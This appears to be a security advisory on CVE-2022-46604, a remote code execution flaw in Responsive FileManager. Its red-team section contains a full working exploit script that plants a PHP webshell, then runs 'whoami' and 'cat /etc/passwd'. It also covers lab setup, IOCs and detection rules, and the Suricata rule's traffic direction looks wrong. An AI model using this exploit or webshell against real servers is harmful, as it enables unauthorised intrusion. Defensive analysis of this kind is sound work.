CVE-2022-46604

Executive Summary

CVE-2022-46604 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in Tecrail Responsive FileManager version 9.9.5 and below. The vulnerability allows an attacker to bypass the file extension check mechanism during file creation, enabling the upload of a crafted PHP file that leads to arbitrary code execution on the web server. The exploit is publicly available and trivial to execute, requiring only a single HTTP POST request to the execute.php endpoint. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical (9.8). No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a self-hosted PHP application (Responsive FileManager) distributed via GitHub and its official website. It is not an NPM, PyPI, Go, or Ruby package. The risk is to organizations that have deployed this file manager as part of their web application stack. The lack of a patch means that any deployment of version 9.9.5 or earlier is vulnerable and must be mitigated through compensating controls.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The exploit is sent over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full file system read access.
• Integrity (I): High (H) - Full file system write access.
• Availability (A): High (H) - Can disrupt service or execute denial-of-service commands.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The exploit is publicly available, requires no authentication, and provides complete control over the web server.

Deep Dive & Mechanics

The vulnerability resides in the file creation functionality of Responsive FileManager. The application uses a whitelist-based file extension check to prevent the upload of executable files like .php. However, the check is performed only on the name parameter, while the actual file path is determined by the path parameter. An attacker can supply a path parameter ending in .php (e.g., shell.php) and a name parameter ending in a safe extension (e.g., shell.txt). The application validates the name extension but writes the file to the location specified by path, effectively bypassing the extension check.

The exploit sends a POST request to /filemanager/execute.php?action=create_file with the following parameters:

• path: The desired path for the malicious file (e.g., shell.php).
• path_thumb: A thumbnail path (can be arbitrary).
• name: A safe filename to pass the extension check (e.g., shell.txt).
• new_content: The PHP payload to be written.

The server then creates the file at the path location with the content of new_content, resulting in a webshell.

Vulnerable vs. Patched Code

Vulnerable Code (Responsive FileManager <= 9.9.5):

The vulnerable code is in execute.php. The file creation logic likely checks the extension of the name parameter but uses the path parameter for the actual file write operation.

// Simplified vulnerable logic
$name = $_POST['name']; // e.g., shell.txt
$path = $_POST['path']; // e.g., shell.php
$new_content = $_POST['new_content'];

// Extension check on $name only
$allowed_extensions = ['txt', 'jpg', 'png'];
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_extensions)) {
    die("Extension not allowed");
}

// Writes to $path, ignoring the check
file_put_contents($path, $new_content);

Patched Code (Hypothetical):

A proper fix would validate the extension of the path parameter and ensure it matches the name parameter, or use a secure method to generate the final file path.

// Patched logic
$name = $_POST['name'];
$path = $_POST['path'];
$new_content = $_POST['new_content'];

// Validate both name and path extensions
$name_ext = pathinfo($name, PATHINFO_EXTENSION);
$path_ext = pathinfo($path, PATHINFO_EXTENSION);
if ($name_ext !== $path_ext) {
    die("Extension mismatch");
}

// Additional checks: ensure path is within allowed directory
$base_dir = '/var/www/uploads/';
$real_path = realpath($base_dir . $path);
if (strpos($real_path, $base_dir) !== 0) {
    die("Invalid path");
}

file_put_contents($real_path, $new_content);

Exploitation & Lab Setup

Red Team

The following Python exploit script (from Exploit-DB) demonstrates the attack. It creates a webshell at /source/shell.php and provides an interactive command shell.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint

# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1

def banner():
    banner_text = """
 _____ _____ _____           ___ ___ ___ ___           ___ ___ ___ ___ ___
|     |  |  |   __|   ___   |_  |   |_  |_  |   ___   | | |  _|  _|   | | |
|   --|  |  |   __|  |___|  |  _| | |  _|  _|  |___|  |_  | . | . | | |_  |
|_____|\\___/|_____|         |___|___|___|___|           |_|___|___|___| |_|

File Creation Extension Bypass in Responsive FileManager <= 9.9.5 (RCE)
Exploit Author: Galoget Latorre (@galoget)
CVE Author: Konstantin Burov
"""
    print(banner_text)

def usage_instructions():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target.site>")
        print("Example: python3 exploit.py 127.0.0.1")
        sys.exit(0)

def run_command(web_session, webshell_url, command_to_run):
    webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
    command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
    return (webshell_response, command_output_soup.find('pre').text)

if __name__ == "__main__":
    banner()
    usage_instructions()

    if sys.argv[1]:
        host = sys.argv[1]
    else:
        host = "127.0.0.1"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
    }

    target_url = f"http://{host}/filemanager/execute.php?action=create_file"

    payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"

    cookie_url = f"http://{host}/filemanager/dialog.php"

    session = requests.Session()

    cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
    try:
        session.get(url = cookie_url, headers = headers)
    except:
        cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
        sys.exit(0)

    if session.cookies.get_dict():
        cprint("[+] PHPSESSID retrieved correctly.", "green")
        cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
    else:
        cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")

    params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload}

    cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")
    response = session.post(url = target_url, headers = headers, data = params)

    if response.status_code == 200 and response.text == "File successfully saved.":
        shell_url = f"http://{host}/source/shell.php"

        webshell, whoami_output = run_command(session, shell_url, "whoami")
        webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")

        common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]

        if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
            cprint("[+] Webshell uploaded - Enjoy!", "green")
            cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
            cprint(f"[+] Running `whoami` command: {whoami_output}", "green")

        answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))

        if answer.upper() == "Y":
            cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")
            command = ""
            while command != "exit":
                command = input(colored(">> ", "cyan")).lower()
                webshell, command_output = run_command(session, shell_url, command)
                if command != "exit":
                    cprint(command_output, "cyan")

        cprint("\n[*] Exiting...Bye!", "blue")

    elif response.status_code == 403 and response.text == "The file is already existing":
        cprint("[-] The file that you're trying to create is already on the server.", "red")

    else:
        cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")

Lab Setup:

1. Deploy a vulnerable instance using the official Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604
2. Run the exploit: python3 exploit.py <target_ip>
3. The webshell will be accessible at http://<target_ip>/source/shell.php

Blue Team

Detection:

• Monitor for POST requests to /filemanager/execute.php with action=create_file parameter.
• Look for anomalous file creation events, especially files with .php extension in upload directories.
• Alert on the creation of files containing PHP code in non-standard locations.

Hunting:

• Search for files named shell.php or similar in the web root.
• Review web server logs for requests to /source/shell.php or /filemanager/execute.php.
• Check for the presence of the PHPSESSID cookie being used in file creation requests.

Indicators of Compromise (IOCs)

• File: /source/shell.php (or any .php file in the source directory)
• URL Pattern: http://<target>/filemanager/execute.php?action=create_file
• POST Parameters: path=shell.php, name=shell.txt, new_content=<php code>
• Network: POST request to /filemanager/execute.php with action=create_file
• Log Entry: POST /filemanager/execute.php?action=create_file HTTP/1.1 with 200 response and body "File successfully saved."
• Webshell Access: GET /source/shell.php?cmd=<command> returning HTML with command output

Detection Engineering

YARA Rule

rule CVE_2022_46604_Webshell {
    meta:
        description = "Detects webshells created by CVE-2022-46604 exploit"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-46604"
    strings:
        $php_system = "system($_GET['cmd'])" nocase
        $php_shell = "<?php if(isset($_GET['cmd']))" nocase
        $form_cmd = "<form method=\"GET\" name=\"<?php echo basename(\$_SERVER['PHP_SELF']); ?>\">" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-46604 - Responsive FileManager RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2022-46604 via file creation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/filemanager/execute.php?action=create_file'
        sc-status: 200
        cs-body: 'File successfully saved.'
    condition: selection
falsepositives:
    - Legitimate file creation by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-46604 - Responsive FileManager RCE Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/filemanager/execute.php";
    http_uri;
    content:"action=create_file";
    http_uri;
    content:"path=";
    http_client_body;
    pcre:"/path=[a-zA-Z0-9_\/]+\.php/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the file creation functionality if not required, by removing or restricting access to execute.php.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /filemanager/execute.php with action=create_file.
3. Restrict file upload directories to prevent execution of PHP files (e.g., via .htaccess or Nginx config).

Long-term Fix:

• Upgrade to a patched version if/when the vendor releases one. As of now, no patch is available.
• Replace Responsive FileManager with an actively maintained alternative that has proper input validation.
• Apply virtual patching using a WAF or reverse proxy to block the specific exploit pattern.

Compensating Controls:

• Ensure the web server does not execute PHP files in upload directories.
• Use a Content Security Policy (CSP) to restrict script execution.
• Monitor for anomalous file creation events and webshell access.

Valters IT

{/* [Security Hash: 6E3AE8E91F45385A142FC46F] */}